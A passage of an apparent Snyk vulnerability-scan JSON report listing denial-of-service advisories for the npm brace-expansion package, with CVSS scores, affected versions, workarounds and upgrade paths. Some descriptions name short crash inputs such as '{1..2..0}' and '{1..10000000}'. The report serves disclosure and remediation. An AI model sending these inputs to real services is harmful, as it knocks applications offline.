recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to 